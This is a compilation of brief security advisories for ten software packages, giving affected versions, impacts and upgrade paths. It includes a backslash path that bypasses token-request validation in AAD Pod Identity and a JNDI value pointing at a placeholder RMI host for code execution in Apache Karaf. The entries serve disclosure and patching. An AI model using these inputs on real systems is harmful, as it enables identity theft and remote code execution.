ghsa

### Impact _What kind of vulnerability is it? Who is impacted?_ The [NMI](https://azure.github.io/aad-pod-identity/docs/concepts/nmi/) component in AAD Pod Identity intercepts and validates token requests based on regex. In this case, a token request made with backslash in the request (example: `/metadata/identity\oauth2\token/`) would bypass the NMI validation and be sent to [IMDS](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows) allowing a pod in the cluster to access identities that it shouldn't have access to. ### Patches _Has the problem been patched? What versions should users upgrade to?_ - We analyzed this bug and determined that we needed to fix it. This fix has been included in AAD Pod Identity release [v1.8.13](https://github.com/Azure/aad-pod-identity/releases/tag/v1.8.13) - If using the [AKS pod-managed identities add-on](https://learn.microsoft.com/en-us/azure/aks/use-azure-ad-pod-identity), no action is required. T...

This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.

### Impact Users of Kyverno on versions 1.8.3 or 1.8.4 who use `verifyImages` rules to verify container image signatures, and do not prevent use of unknown registries. ### Patches This issue has been fixed in version [1.8.5](https://github.com/kyverno/kyverno/releases/tag/v1.8.5) ### Workarounds Configure a Kyverno policy to restrict registries to a set of secure trusted image registries ([sample](https://kyverno.io/policies/best-practices/restrict_image_registries/restrict_image_registries/)). ### References

All versions of package lite-dev-server are vulnerable to Directory Traversal due to missing input sanitization and sandboxes being employed to the req.url user input that is passed to the server code.

All versions of package abacus-ext-cmdline are vulnerable to Command Injection via the execute function due to improper user-input sanitization.

The package smoothie from 1.31.0 and before 1.36.1 are vulnerable to Cross-site Scripting (XSS) due to improper user input sanitization in strokeStyle and tooltipLabel properties. Exploiting this vulnerability is possible when the user can control these properties.

The package vm2 before 3.9.10 is vulnerable to Arbitrary Code Execution due to the usage of prototype lookup for the WeakMap.prototype.set method. Exploiting this vulnerability leads to access to a host object and a sandbox compromise.

Microweber versions 1.3.1 and prior are vulnerable to Reflected Cross-site Scripting (XSS). A patch is available on the 1.4, dev, and laravel-sail branches.

An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache Zeppelin allows logged-in users to execute arbitrary javascript in other users' browsers. This issue affects Apache Zeppelin before 0.8.2. Users are recommended to upgrade to a supported version of Zeppelin.

### Overview During our internal security assessment, it was discovered that OpenFGA versions v0.3.0 is vulnerable to authorization bypass under certain conditions. ### Am I Affected? You are affected by this vulnerability if **all** of the following applies: 1. You are using OpenFGA v0.3.0 2. You created a model using modeling language v1.1 that applies a type restriction to an object e.g. `define viewer: [user]` 3. You created tuples based on the aforementioned model, e.g. `document:1#viewer@user:jon` 4. You updated the previous model by adding a new type and replacing the previous restriction with the newly added type e.g. `define viewer: [employee]` 5. You use the tuples created against the first model (step 3) and issue checks against the updated model e.g. `user=user:jon, relation=viewer, object:document:1` ### How to fix that? Upgrade to version v0.3.1 ### Backward Compatibility This update is backward compatible.